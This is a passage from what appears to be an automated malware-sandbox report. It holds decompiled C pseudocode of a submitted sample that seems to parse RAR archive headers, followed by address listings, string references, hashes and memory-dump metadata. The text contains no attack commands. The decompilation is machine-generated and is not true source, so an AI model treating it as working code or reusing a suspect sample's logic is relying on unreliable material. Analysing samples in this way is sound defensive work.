												 *((char*)(_t448 + 0x6564)) = 1;
												goto L96;
											}
											_push(_t374);
											_push(L"hc%u");
											L49:
											_push(0x14);
											_push(_t598);
											E00CC4A00();
											E00CC47CB(_t448, __eflags, _t448 + 0x32, _t598);
											goto L98;
										}
										_push(_t370);
										_push(L"h%u");
										goto L49;
									}
									__eflags = _t368 == 1;
									if(_t368 == 1) {
										_t519 = 5;
										memcpy(_t448 + 0x3e40, _t448 + 0x1a74, _t519 << 2);
										 *(_t448 + 0x3e5c) = E00CCE106() & 0x00000001;
										 *((short*)(_t448 + 0x3e5e)) = 0;
										 *((char*)(_t448 + 0x3e5d)) = 0;
									}
									goto L96;
								}
							}
							_t524 = E00CCE106();
							 *(_t598 + 0x60) = _t547;
							_t279 = 0;
							 *(_t598 + 0x30) = _t524;
							__eflags = _t547;
							if(__eflags < 0) {
								goto L39;
							}
							if(__eflags > 0) {
								goto L97;
							}
							__eflags = _t524 -  *((intOrPtr*)(_t448 + 0x1a80));
							if(__eflags >= 0) {
								goto L97;
							}
							goto L39;
						}
						E00CC2544(_t448, __eflags);
						 *(_t448 + 0x656c) = 1;
						E00CC7809(0xd030c4, 3);
						__eflags =  *((char*)(_t598 + 0x66));
						if( *((char*)(_t598 + 0x66)) == 0) {
							goto L35;
						}
						E00CC237A(4, _t448 + 0x32, _t448 + 0x32);
						 *((char*)(_t448 + 0x656d)) = 1;
						goto L98;
					}
					L26:
					E00CC478A(_t448, _t547);
					goto L98;
				}
				_t547 =  *((intOrPtr*)(__ecx + 0x6568)) + 8;
				asm("adc eax, ecx");
				_t611 =  *((intOrPtr*)(__ecx + 0x654c));
				if(_t611 < 0 || _t611 <= 0 &&  *((intOrPtr*)(__ecx + 0x6548)) <= _t547) {
					goto L24;
				} else {
					 *((char*)(_t598 + 0x66)) = 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t448 + 0x1a4c)) + 0x6025)) == 0) {
						 *0xcf4278(_t598 + 0x18, 0x10);
						_t412 =  *((intOrPtr*)( *((intOrPtr*)( *_t448 + 0xc))))();
						__eflags = _t412 - 0x10;
						if(_t412 == 0x10) {
							_t413 =  *((intOrPtr*)(_t448 + 0x1a4c));
							__eflags =  *((char*)(_t413 + 0xb3dc));
							if( *((char*)(_t413 + 0xb3dc)) != 0) {
								L10:
								 *(_t598 + 0x67) = 1;
								L11:
								_t414 = 0;
								 *(_t598 - 0x40) = 0xcf46b8;
								 *(_t598 - 0x3c) = 0;
								 *((char*)(_t598 - 4)) = 1;
								__eflags =  *(_t448 + 0x1b14);
								if( *(_t448 + 0x1b14) != 0) {
									__eflags =  *(_t448 + 0x656c);
									if( *(_t448 + 0x656c) == 0) {
										_push(_t448 + 0x1b2c);
										_push( *(_t448 + 0x1b18));
										_push(_t598 + 0x18);
										_push(_t448 + 0x1b1c);
										E00CC4710(_t448, _t598 - 0x40, _t547);
										_t414 =  *(_t598 - 0x3c);
									}
								}
								asm("sbb eax, eax");
								E00CC458D(_t448, _t598,  ~_t414 & _t598 - 0x00000040);
								_t582 = _t448 + 0x1b1c;
								_t595 = _t448 + 0x1040;
								while(1) {
									E00CC6A3F(_t595, 0, 5,  *((intOrPtr*)(_t448 + 0x1a4c)) + 0xb3d0, _t582, _t598 + 0x18,  *(_t448 + 0x1b18), 0, _t598 + 0x28);
									__eflags =  *(_t448 + 0x1b14);
									if( *(_t448 + 0x1b14) == 0) {
										break;
									}
									__eflags =  *(_t448 + 0x656c);
									if( *(_t448 + 0x656c) != 0) {
										break;
									}
									_t427 = E00CE1592(_t598 + 0x28, _t448 + 0x1b2c, 8);
									_t601 = _t601 + 0xc;
									__eflags = _t427;
									if(_t427 == 0) {
										break;
									}
									__eflags =  *(_t598 + 0x67);
									_t428 = _t448 + 0x32;
									_push(_t428);
									_push(_t428);
									if( *(_t598 + 0x67) != 0) {
										_push(6);
										E00CC237A();
										 *((char*)(_t448 + 0x656d)) = 1;
										E00CC7809(0xd030c4, 0xb);
										_t597 =  *(_t598 - 0x3c);
										 *(_t598 - 0x40) = 0xcf46b8;
										__eflags = _t597;
										if(_t597 != 0) {
											E00CC1703(_t597);
											_push(0x930);
											E00CDFD3E(_t597);
										}
										goto L98;
									} else {
										_push(0x84);
										E00CC237A();
										E00CD05B0( *((intOrPtr*)(_t448 + 0x1a4c)) + 0xb3d0);
										asm("sbb eax, eax");
										__eflags =  ~( *(_t598 - 0x3c)) & _t598 - 0x00000040;
										E00CC458D(_t448, _t598,  ~( *(_t598 - 0x3c)) & _t598 - 0x00000040);
										continue;
									}
								}
								 *((intOrPtr*)(_t598 + 0x54)) = _t595;
								_t596 =  *(_t598 - 0x3c);
								 *((char*)(_t598 - 4)) = 0;
								 *(_t598 - 0x40) = 0xcf46b8;
								__eflags = _t596;
								if(_t596 != 0) {
									E00CC1703(_t596);
									_push(0x930);
									E00CDFD3E(_t596);
								}
								goto L25;
							}
							_t443 = E00CD2E81();
							 *(_t598 + 0x67) = 0;
							__eflags = _t443;
							if(_t443 == 0) {
								goto L11;
							}
							goto L10;
						} else {
							E00CC478A(_t448, _t547);
							goto L100;
						}
					} else {
						E00CC1397(0x7f, _t448 + 0x32);
						 *((char*)(_t448 + 0x656d)) = 1;
						goto L100;
					}
				}
			}

0x00cc3944
0x00cc394c
0x00cc3956
0x00cc395d
0x00cc3964
0x00cc396b
0x00cc396e
0x00cc3977
0x00cc3b80
0x00cc3b80
0x00cc3b83
0x00cc3b83
0x00cc3b88
0x00cc3b8d
0x00cc3b90
0x00cc3ba1
0x00cc3bb2
0x00cc3bc0
0x00cc3bc2
0x00cc3bc7
0x00cc3bc9
0x00cc3bcb
0x00cc4224
0x00cc4226
0x00cc422b
0x00cc422b
0x00cc422b
0x00cc422d
0x00cc422d
0x00cc4230
0x00cc4233
0x00cc4241
0x00cc424c
0x00cc424c
0x00cc3bd1
0x00cc3bd3
0x00000000
0x00000000
0x00cc3bd9
0x00cc3bdc
0x00cc3bdf
0x00cc3be1
0x00cc3be1
0x00cc3be3
0x00000000
0x00000000
0x00cc3be9
0x00cc3bec
0x00000000
0x00000000
0x00cc3bf2
0x00cc3bf6
0x00cc3bfb
0x00cc3bfe
0x00000000
0x00000000
0x00cc3c03
0x00cc3c15
0x00cc3c1b
0x00cc3c20
0x00cc3c2b
0x00cc3c31
0x00cc3c37
0x00cc3c3d
0x00cc3c45
0x00cc3c4b
0x00cc3c4b
0x00cc3c4b
0x00cc3c4f
0x00cc3c89
0x00cc3c89
0x00cc3c8b
0x00cc3c92
0x00cc3c95
0x00cc3c98
0x00cc3cc2
0x00cc3cc2
0x00cc3cc9
0x00cc3ccb
0x00cc3cce
0x00cc3cd1
0x00cc3cd6
0x00cc3cdb
0x00cc3cdd
0x00cc3ce0
0x00cc3ce0
0x00cc3ceb
0x00cc3d05
0x00cc3d0f
0x00cc3d15
0x00cc3d1b
0x00cc3d23
0x00cc3d23
0x00cc3d26
0x00cc4171
0x00cc4180
0x00cc4181
0x00cc418b
0x00cc418f
0x00cc4194
0x00cc419a
0x00cc41a7
0x00cc41b4
0x00cc41c1
0x00cc41c7
0x00cc41c9
0x00cc41cf
0x00cc41d2
0x00cc41e5
0x00cc41d4
0x00cc41dc
0x00cc41e0
0x00cc41e2
0x00cc41e2
0x00cc41e7
0x00cc41ed
0x00cc41f4
0x00cc41fa
0x00cc41fa
0x00000000
0x00cc41f6
0x00cc41f6
0x00cc41f8
0x00cc41fc
0x00cc41fc
0x00cc4201
0x00cc4204
0x00cc420a
0x00cc421a
0x00cc421a
0x00000000
0x00cc420a
0x00000000
0x00cc41f8
0x00cc3d2c
0x00cc3d2c
0x00cc3d2c
0x00cc3d2f
0x00cc3e79
0x00cc3e7b
0x00cc3e83
0x00cc3e92
0x00cc3e96
0x00cc3e99
0x00cc3ea0
0x00cc3ea7
0x00cc3eb2
0x00cc3eb5
0x00cc3ebb
0x00cc3ec4
0x00cc3ecb
0x00cc3ed9
0x00cc3ee4
0x00cc3ef3
0x00cc3ef3
0x00cc3ef5
0x00cc3efb
0x00cc3f01
0x00cc3f08
0x00cc3f0e
0x00cc3f0e
0x00cc3f14
0x00cc3f1a
0x00cc3f20
0x00cc3f26
0x00cc3f2c
0x00cc3f2e
0x00cc3f36
0x00cc3f36
0x00cc3f38
0x00000000
0x00cc3f30
0x00cc3f30
0x00cc3f3a
0x00cc3f3a
0x00cc3f43
0x00cc3f49
0x00cc3f4e
0x00cc3f55
0x00cc3f58
0x00cc3f6b
0x00cc3f6b
0x00cc3f70
0x00cc3f77
0x00cc3f7e
0x00cc3f83
0x00cc3f92
0x00cc3f92
0x00cc3f98
0x00cc3fa2
0x00cc3fa7
0x00cc3fae
0x00cc3fb1
0x00cc3fb9
0x00cc3fbc
0x00cc3fbf
0x00cc3fc2
0x00cc3fc4
0x00cc3fc4
0x00cc3fd6
0x00cc3fde
0x00cc3fee
0x00cc3ff8
0x00cc3ffe
0x00cc4001
0x00cc4003
0x00cc400d
0x00cc400f
0x00cc4011
0x00cc4011
0x00cc4011
0x00cc4011
0x00cc4005
0x00cc4005
0x00cc4005
0x00cc4018
0x00cc4022
0x00cc4034
0x00cc403a
0x00cc403e
0x00cc4041
0x00cc4047
0x00cc4052
0x00cc4052
0x00cc4052
0x00000000
0x00cc4049
0x00cc4049
0x00cc404c
0x00000000
0x00000000
0x00cc404e
0x00cc4054
0x00cc4054
0x00cc4060
0x00cc4065
0x00cc4076
0x00cc407a
0x00cc4080
0x00cc408b
0x00cc408d
0x00cc408f
0x00cc408f
0x00cc409c
0x00cc40a1
0x00cc40af
0x00cc40b4
0x00cc40b7
0x00cc40b8
0x00cc40b9
0x00cc40be
0x00cc40c3
0x00cc40c3
0x00cc40c6
0x00cc40d0
0x00cc40d0
0x00cc40d5
0x00cc40d9
0x00cc40eb
0x00cc40f2
0x00cc40f4
0x00cc40f6
0x00cc40f6
0x00cc4103
0x00cc410a
0x00cc410c
0x00cc410e
0x00cc4114
0x00cc4119
0x00cc411e
0x00cc4127
0x00cc4131
0x00cc4141
0x00cc4147
0x00cc414b
0x00cc414b
0x00cc4114
0x00cc40db
0x00cc40de
0x00cc40de
0x00cc4150
0x00cc4154
0x00cc4161
0x00cc4161
0x00cc421f
0x00cc421f
0x00000000
0x00cc421f
0x00cc4047
0x00cc3f32
0x00cc3f34
0x00000000
0x00000000
0x00000000
0x00cc3f34
0x00cc3f2e
0x00cc3d35
0x00cc3d35
0x00cc3d38
0x00000000
0x00000000
0x00cc3d3e
0x00cc3d3e
0x00cc3d41
0x00cc3d83
0x00cc3d90
0x00cc3d95
0x00cc3d9a
0x00cc3d9c
0x00cc3dd3
0x00cc3dde
0x00cc3de1
0x00cc3de7
0x00cc3dea
0x00cc3e00
0x00cc3e05
0x00cc3e0c
0x00cc3e10
0x00cc3e1a
0x00cc3e28
0x00cc3e31
0x00cc3e36
0x00cc3e38
0x00cc3e3c
0x00cc3e3d
0x00cc3e45
0x00cc3e4a
0x00cc3e59
0x00cc3e63
0x00cc3e65
0x00cc3e65
0x00cc3e67
0x00cc3e67
0x00cc3e6d
0x00000000
0x00cc3e6d
0x00cc3dec
0x00cc3ded
0x00cc3da4
0x00cc3da7
0x00cc3da9
0x00cc3daa
0x00cc3dbc
0x00000000
0x00cc3dbc
0x00cc3d9e
0x00cc3d9f
0x00000000
0x00cc3d9f
0x00cc3d43
0x00cc3d46
0x00cc3d4e
0x00cc3d5b
0x00cc3d67
0x00cc3d6f
0x00cc3d76
0x00cc3d76
0x00000000
0x00cc3d46
0x00cc3d26
0x00cc3ca2
0x00cc3ca4
0x00cc3ca7
0x00cc3ca9
0x00cc3cac
0x00cc3cae
0x00000000
0x00000000
0x00cc3cb0
0x00000000
0x00000000
0x00cc3cb6
0x00cc3cbc
0x00000000
0x00000000
0x00000000
0x00cc3cbc
0x00cc3c53
0x00cc3c5f
0x00cc3c66
0x00cc3c6b
0x00cc3c6f
0x00000000
0x00000000
0x00cc3c78
0x00cc3c7d
0x00000000
0x00cc3c7d
0x00cc3b92
0x00cc3b94
0x00000000
0x00cc3b94
0x00cc3985
0x00cc3988
0x00cc398a
0x00cc3990
0x00000000
0x00cc39a4
0x00cc39aa
0x00cc39b4
0x00cc39da
0x00cc39e2
0x00cc39e4
0x00cc39e7
0x00cc39f5
0x00cc39fb
0x00cc3a02
0x00cc3a11
0x00cc3a11
0x00cc3a15
0x00cc3a15
0x00cc3a17
0x00cc3a1e
0x00cc3a21
0x00cc3a25
0x00cc3a2b
0x00cc3a2d
0x00cc3a33
0x00cc3a3b
0x00cc3a3c
0x00cc3a45
0x00cc3a4c
0x00cc3a50
0x00cc3a55
0x00cc3a55
0x00cc3a33
0x00cc3a5d
0x00cc3a64
0x00cc3a69
0x00cc3a6f
0x00cc3adb
0x00cc3afe
0x00cc3b03
0x00cc3b0a
0x00000000
0x00000000
0x00cc3a77
0x00cc3a7e
0x00000000
0x00000000
0x00cc3a91
0x00cc3a96
0x00cc3a99
0x00cc3a9b
0x00000000
0x00000000
0x00cc3a9d
0x00cc3aa1
0x00cc3aa4
0x00cc3aa5
0x00cc3aa6
0x00cc3b3b
0x00cc3b3d
0x00cc3b49
0x00cc3b50
0x00cc3b55
0x00cc3b58
0x00cc3b5f
0x00cc3b61
0x00cc3b69
0x00cc3b6e
0x00cc3b74
0x00cc3b7a
0x00000000
0x00cc3aac
0x00cc3aac
0x00cc3ab1
0x00cc3ac2
0x00cc3acf
0x00cc3ad1
0x00cc3ad6
0x00000000
0x00cc3ad6
0x00cc3aa6
0x00cc3b10
0x00cc3b13
0x00cc3b16
0x00cc3b1a
0x00cc3b21
0x00cc3b23
0x00cc3b27
0x00cc3b2c
0x00cc3b32
0x00cc3b38
0x00000000
0x00cc3b23
0x00cc3a04
0x00cc3a09
0x00cc3a0d
0x00cc3a0f
0x00000000
0x00000000
0x00000000
0x00cc39e9
0x00cc39eb
0x00000000
0x00cc39eb
0x00cc39b6
0x00cc39bc
0x00cc39c1
0x00000000
0x00cc39c1
0x00cc39b4

APIs

__EH_prolog.LIBCMT ref: 00CC394C
_swprintf.LIBCMT ref: 00CC3DAA

Strings

hc%u, xrefs: 00CC3DED
CMT, xrefs: 00CC40E5
h%u, xrefs: 00CC3D9F

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: 12ee563ffb0f4eed78d1091f7557c871952507f5f17f1674e3c813e518638ff7
Instruction ID: 896f309d9132f207e5cbc145353541bfcc630796ac6ddc2e3d29c1f13048b895
Opcode Fuzzy Hash: 12ee563ffb0f4eed78d1091f7557c871952507f5f17f1674e3c813e518638ff7
Instruction Fuzzy Hash: 0242C2716006849FDF28DF74C895FE93BA5AF15300F08847DFC5A8B286DB709A89DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00CC2EB6 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 799
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E00CC2EB6(intOrPtr* __ecx, void* __eflags) {
				void* __edi;
				void* __ebp;
				unsigned int _t329;
				signed int _t334;
				void* _t335;
				void* _t337;
				signed int _t340;
				char _t354;
				signed short _t361;
				signed int _t364;
				signed int _t371;
				signed char _t374;
				signed char _t377;
				signed int _t378;
				signed int _t395;
				signed int _t396;
				signed int _t400;
				signed char _t413;
				intOrPtr _t414;
				char _t415;
				signed int _t418;
				signed int _t419;
				signed int _t424;
				signed int _t427;
				signed int _t432;
				signed short _t437;
				signed short _t442;
				unsigned int _t447;
				signed int _t450;
				signed int _t455;
				signed int _t469;
				void* _t470;
				void* _t478;
				signed char _t484;
				signed int _t488;
				signed int _t498;
				signed int _t501;
				signed int _t502;
				signed int _t503;
				intOrPtr* _t516;
				signed int _t520;
				signed int _t521;
				signed int _t533;
				signed int _t537;
				signed int _t539;
				unsigned int _t548;
				signed int _t550;
				signed int _t560;
				signed int _t562;
				signed int _t563;
				intOrPtr* _t585;
				void* _t593;
				signed int _t597;
				intOrPtr _t609;
				signed int _t612;
				signed int _t624;
				signed char _t628;
				void* _t639;
				signed char _t640;
				signed int _t643;
				unsigned int _t644;
				signed int _t647;
				signed int _t648;
				signed int _t650;
				signed int _t651;
				unsigned int _t653;
				signed int _t657;
				void* _t659;
				void* _t665;
				signed int _t668;
				signed int _t669;
				signed int _t670;
				signed int _t671;
				signed int _t672;
				void* _t673;
				signed int _t675;
				intOrPtr* _t676;
				signed int _t688;
				void* _t694;
				signed int _t695;
				signed int _t697;
				signed int _t699;
				signed int _t701;
				intOrPtr _t707;
				intOrPtr* _t708;
				intOrPtr _t718;

				E00CDFD4C(0xcf36e4, _t708);
				E00CDFE20(0x2024);
				_t516 = __ecx;
				 *((intOrPtr*)(_t708 + 0x14)) = __ecx;
				E00CCDF70(_t708 + 0x2c, __ecx);
				 *(_t708 + 0x10) = 0;
				 *((intOrPtr*)(_t708 - 4)) = 0;
				_t657 = 7;
				if( *((intOrPtr*)(__ecx + 0x6564)) == 0) {
					L7:
					 *((char*)(_t708 + 0x56)) = 0;
					L8:
					_push(_t657);
					E00CCE195();
					__eflags =  *(_t708 + 0x40);
					if( *(_t708 + 0x40) == 0) {
						L5:
						E00CC478A(_t516, _t639);
						L131:
						E00CC1633(_t708 + 0x2c);
						 *[fs:0x0] =  *((intOrPtr*)(_t708 - 0xc));
						return  *(_t708 + 0x10);
					}
					 *(_t516 + 0x1a74) = E00CCDFD1(_t708 + 0x2c) & 0x0000ffff;
					 *(_t516 + 0x1a84) = 0;
					_t688 = E00CCDFBA(_t708 + 0x2c) & 0x000000ff;
					_t329 = E00CCDFD1(_t708 + 0x2c) & 0x0000ffff;
					 *(_t516 + 0x1a7c) = _t329;
					 *(_t516 + 0x1a84) = _t329 >> 0x0000000e & 0x00000001;
					_t533 = E00CCDFD1(_t708 + 0x2c) & 0x0000ffff;
					 *(_t516 + 0x1a80) = _t533;
					 *(_t516 + 0x1a78) = _t688;
					__eflags = _t533 - _t657;
					if(__eflags >= 0) {
						_t640 = 2;
						_t334 = _t688 - 0x73;
						__eflags = _t334;
						if(_t334 == 0) {
							 *(_t516 + 0x1a78) = 1;
							_t688 = 1;
							__eflags = 1;
							L20:
							 *(_t516 + 0x1a6c) = _t688;
							__eflags = _t688 - 0x75;
							if(_t688 == 0x75) {
								L23:
								_t335 = 6;
								L25:
								_push(_t335);
								E00CCE195();
								_t337 = E00CC1A52(_t516,  *(_t516 + 0x1a80));
								asm("adc ecx, 0x0");
								 *((intOrPtr*)(_t516 + 0x6550)) = _t337 +  *((intOrPtr*)(_t516 + 0x6548));
								 *(_t516 + 0x6554) =  *(_t516 + 0x654c);
								_t537 =  *(_t516 + 0x1a78);
								 *(_t708 + 0x18) = _t537;
								_t340 = _t537 - 1;
								__eflags = _t340;
								if(_t340 == 0) {
									_t659 = _t516 + 0x1a98;
									E00CCC1D7(_t659, _t659);
									_t539 = 5;
									memcpy(_t659, _t516 + 0x1a74, _t539 << 2);
									 *(_t516 + 0x1aac) = E00CCDFD1(_t708 + 0x2c);
									_t640 = E00CCE006(_t708 + 0x2c);
									 *(_t516 + 0x1ab0) = _t640;
									 *(_t516 + 0x655d) =  *(_t516 + 0x1aa0) & 0x00000001;
									 *(_t516 + 0x655c) =  *(_t516 + 0x1aa0) >> 0x00000003 & 0x00000001;
									_t548 =  *(_t516 + 0x1aa0);
									 *(_t516 + 0x655f) = _t548 >> 0x00000002 & 0x00000001;
									 *(_t516 + 0x6563) = _t548 >> 0x00000006 & 0x00000001;
									 *(_t516 + 0x6564) = _t548 >> 0x00000007 & 0x00000001;
									__eflags = _t640;
									if(_t640 != 0) {
										L117:
										_t354 = 1;
										L118:
										 *((char*)(_t516 + 0x6560)) = _t354;
										 *(_t516 + 0x1ab4) = _t548 >> 0x00000001 & 0x00000001;
										_t550 = _t548 >> 0x00000004 & 0x00000001;
										__eflags = _t550;
										 *(_t516 + 0x6561) = _t548 >> 0x00000008 & 0x00000001;
										 *(_t516 + 0x6562) = _t550;
										L119:
										_t657 = 7;
										L120:
										_t361 = E00CCE0B7(_t708 + 0x2c, 0);
										__eflags =  *(_t516 + 0x1a74) - (_t361 & 0x0000ffff);
										if( *(_t516 + 0x1a74) == (_t361 & 0x0000ffff)) {
											L130:
											 *(_t708 + 0x10) =  *(_t708 + 0x40);
											goto L131;
										}
										_t364 =  *(_t516 + 0x1a78);
										__eflags = _t364 - 0x79;
										if(_t364 == 0x79) {
											goto L130;
										}
										__eflags = _t364 - 0x76;
										if(_t364 == 0x76) {
											goto L130;
										}
										__eflags = _t364 - 5;
										if(_t364 != 5) {
											L128:
											 *((char*)(_t516 + 0x656c)) = 1;
											E00CC7809(0xd030c4, 3);
											__eflags =  *((char*)(_t708 + 0x56));
											if( *((char*)(_t708 + 0x56)) == 0) {
												goto L130;
											}
											E00CC237A(4, _t516 + 0x32, _t516 + 0x32);
											 *((char*)(_t516 + 0x656d)) = 1;
											goto L131;
										}
										__eflags =  *(_t516 + 0x3e5e);
										if( *(_t516 + 0x3e5e) == 0) {
											goto L128;
										}
										 *0xcf4278();
										_t371 =  *((intOrPtr*)( *((intOrPtr*)( *_t516 + 0x14))))() - _t657;
										__eflags = _t371;
										asm("sbb edx, ecx");
										 *0xcf4278(_t371, _t640, 0);
										 *((intOrPtr*)( *_t516 + 0x10))();
										 *(_t708 + 0x57) = 1;
										do {
											_t374 = E00CCAAD2(_t516);
											asm("sbb al, al");
											_t377 =  !( ~_t374) &  *(_t708 + 0x57);
											 *(_t708 + 0x57) = _t377;
											_t657 = _t657 - 1;
											__eflags = _t657;
										} while (_t657 != 0);
										__eflags = _t377;
										if(_t377 != 0) {
											goto L130;
										}
										goto L128;
									}
									_t354 = 0;
									__eflags =  *(_t516 + 0x1aac);
									if( *(_t516 + 0x1aac) == 0) {
										goto L118;
									}
									goto L117;
								}
								_t378 = _t340 - 1;
								__eflags = _t378;
								if(_t378 == 0) {
									L35:
									__eflags = _t537 - 2;
									_t68 = (0 | _t537 == 0x00000002) - 1; // -1
									_t665 = (_t68 & 0x00002348) + 0x1b38 + _t516;
									 *(_t708 + 0x28) = _t665;
									E00CCC13D(_t665, 0);
									_t560 = 5;
									memcpy(_t665, _t516 + 0x1a74, _t560 << 2);
									_t694 =  *(_t708 + 0x28);
									_t668 =  *(_t708 + 0x18);
									_t562 =  *(_t694 + 8);
									 *(_t694 + 0x1090) =  *(_t694 + 8) & 1;
									 *(_t694 + 0x1091) = _t562 >> 0x00000001 & 1;
									 *(_t694 + 0x1093) = _t562 >> 0x00000002 & 1;
									 *(_t694 + 0x1098) = _t562 >> 0x0000000a & 1;
									_t395 = _t562 & 0x00000010;
									__eflags = _t668 - 2;
									if(_t668 != 2) {
										L38:
										_t643 = 0;
										__eflags = 0;
										 *(_t708 + 0x57) = 0;
										L39:
										 *((char*)(_t694 + 0x10e8)) =  *(_t708 + 0x57);
										_t516 =  *((intOrPtr*)(_t708 + 0x14));
										__eflags = _t668 - 2;
										if(_t668 == 2) {
											L41:
											_t396 = _t643;
											L42:
											 *(_t694 + 0x10f2) = _t396;
											_t563 = _t562 & 0x000000e0;
											__eflags = _t563 - 0xe0;
											 *((char*)(_t694 + 0x10e9)) = 0 | _t563 == 0x000000e0;
											__eflags = _t563 - 0xe0;
											if(_t563 != 0xe0) {
												_t644 =  *(_t694 + 8);
												_t400 = 0x10000 << (_t644 >> 0x00000005 & 0x00000007);
												__eflags = 0x10000;
											} else {
												_t400 = _t643;
												_t644 =  *(_t694 + 8);
											}
											 *(_t694 + 0x10ec) = _t400;
											 *(_t694 + 0x10eb) = _t644 >> 0x0000000b & 0x00000001;
											 *(_t694 + 0x10ea) = _t644 >> 0x00000003 & 0x00000001;
											 *((intOrPtr*)(_t694 + 0x14)) = E00CCE006(_t708 + 0x2c);
											 *((intOrPtr*)(_t708 + 0x50)) = E00CCE006(_t708 + 0x2c);
											 *((char*)(_t694 + 0x18)) = E00CCDFBA(_t708 + 0x2c);
											 *(_t694 + 0x1068) = 2;
											 *((intOrPtr*)(_t694 + 0x106c)) = E00CCE006(_t708 + 0x2c);
											 *(_t708 + 0x20) = E00CCE006(_t708 + 0x2c);
											 *(_t694 + 0x1c) = E00CCDFBA(_t708 + 0x2c) & 0x000000ff;
											 *((char*)(_t694 + 0x20)) = E00CCDFBA(_t708 + 0x2c) - 0x30;
											 *(_t708 + 0x4c) = E00CCDFD1(_t708 + 0x2c) & 0x0000ffff;
											_t413 = E00CCE006(_t708 + 0x2c);
											_t647 =  *(_t694 + 0x1c);
											 *(_t708 + 0x24) = _t413;
											 *(_t694 + 0x24) = _t413;
											__eflags = _t647 - 0x14;
											if(_t647 < 0x14) {
												__eflags = _t413 & 0x00000010;
												if((_t413 & 0x00000010) != 0) {
													 *((char*)(_t694 + 0x10e9)) = 1;
												}
											}
											 *(_t694 + 0x1094) = 0;
											__eflags =  *(_t694 + 0x1093);
											if( *(_t694 + 0x1093) == 0) {
												L57:
												_t414 =  *((intOrPtr*)(_t694 + 0x18));
												 *(_t694 + 0x10f4) = 2;
												__eflags = _t414 - 3;
												if(_t414 == 3) {
													L61:
													 *(_t694 + 0x10f4) = 1;
													L62:
													 *(_t694 + 0x10f8) = 0;
													__eflags = _t414 - 3;
													if(_t414 == 3) {
														__eflags = ( *(_t708 + 0x24) & 0x0000f000) - 0xa000;
														if(( *(_t708 + 0x24) & 0x0000f000) == 0xa000) {
															__eflags = 0;
															 *(_t694 + 0x10f8) = 1;
															 *((short*)(_t694 + 0x10fc)) = 0;
														}
													}
													__eflags = _t668 - 2;
													if(_t668 == 2) {
														L67:
														_t415 = 0;
														goto L68;
													} else {
														_t415 = 1;
														__eflags =  *(_t694 + 0x24);
														if( *(_t694 + 0x24) < 0) {
															L68:
															 *((char*)(_t694 + 0x10f0)) = _t415;
															_t418 =  *(_t694 + 8) >> 0x00000008 & 0x00000001;
															__eflags = _t418;
															 *(_t694 + 0x10f1) = _t418;
															if(_t418 == 0) {
																__eflags =  *((intOrPtr*)(_t708 + 0x50)) - 0xffffffff;
																_t640 = 0;
																_t669 = 0;
																_t141 =  *((intOrPtr*)(_t708 + 0x50)) == 0xffffffff;
																__eflags = _t141;
																_t419 = _t418 & 0xffffff00 | _t141;
																L74:
																 *(_t694 + 0x1092) = _t419;
																 *(_t708 + 0x57) = _t419;
																 *((intOrPtr*)(_t694 + 0x1050)) = 0 +  *((intOrPtr*)(_t694 + 0x14));
																asm("adc edi, ecx");
																 *((intOrPtr*)(_t694 + 0x1054)) = _t669;
																asm("adc edx, ecx");
																 *(_t694 + 0x1058) = 0 +  *((intOrPtr*)(_t708 + 0x50));
																__eflags =  *(_t708 + 0x57);
																 *(_t694 + 0x105c) = _t640;
																if( *(_t708 + 0x57) != 0) {
																	 *(_t694 + 0x1058) = 0x7fffffff;
																	 *(_t694 + 0x105c) = 0x7fffffff;
																}
																_t424 =  *(_t708 + 0x4c);
																_t670 = 0x1fff;
																__eflags = _t424 - 0x1fff;
																if(_t424 < 0x1fff) {
																	_t670 = _t424;
																}
																E00CCE068(_t708 + 0x2c, _t708 - 0x2030, _t670);
																_t427 = 0;
																__eflags =  *(_t708 + 0x18) - 2;
																 *((char*)(_t708 + _t670 - 0x2030)) = 0;
																_t585 = ((0 |  *(_t708 + 0x18) == 0x00000002) - 0x00000001 & 0x00002348) + 0x1b60 + _t516;
																__eflags =  *(_t708 + 0x18) - 2;
																 *((intOrPtr*)(_t708 + 0x50)) = _t585;
																if( *(_t708 + 0x18) != 2) {
																	E00CD2EA2(_t708 - 0x2030, _t585, 0x800);
																	_t431 =  *((intOrPtr*)(_t694 + 0xc)) -  *(_t708 + 0x4c);
																	__eflags =  *(_t694 + 8) & 0x00000400;
																	_t671 = _t431 - 0x20;
																	if(( *(_t694 + 8) & 0x00000400) != 0) {
																		_t671 = _t431 - 0x28;
																	}
																	__eflags = _t671;
																	if(_t671 > 0) {
																		_t179 = _t694 + 0x1028; // 0x1029
																		E00CC252A(_t179, _t671);
																		_t180 = _t694 + 0x1028; // 0x1029
																		_t676 = _t180;
																		_t431 = E00CE7156(E00CCE068(_t708 + 0x2c,  *_t676, _t671),  *((intOrPtr*)(_t708 + 0x50)), L"RR");
																		__eflags = _t431;
																		if(_t431 == 0) {
																			__eflags =  *((intOrPtr*)(_t694 + 0x102c)) - 0x14;
																			if( *((intOrPtr*)(_t694 + 0x102c)) >= 0x14) {
																				_t609 =  *_t676;
																				_t184 = _t609 + 0xb; // 0x7500
																				asm("cdq");
																				_t695 =  *_t184 & 0x000000ff;
																				_t185 = _t609 + 0xa; // 0x750025
																				asm("cdq");
																				_t697 = (_t695 << 8) + ( *_t185 & 0x000000ff);
																				_t190 = _t609 + 9; // 0x75002500
																				asm("adc edi, edx");
																				asm("cdq");
																				_t699 = (_t697 << 8) + ( *_t190 & 0x000000ff);
																				_t195 = _t609 + 8; // 0x250068
																				asm("adc edi, edx");
																				asm("cdq");
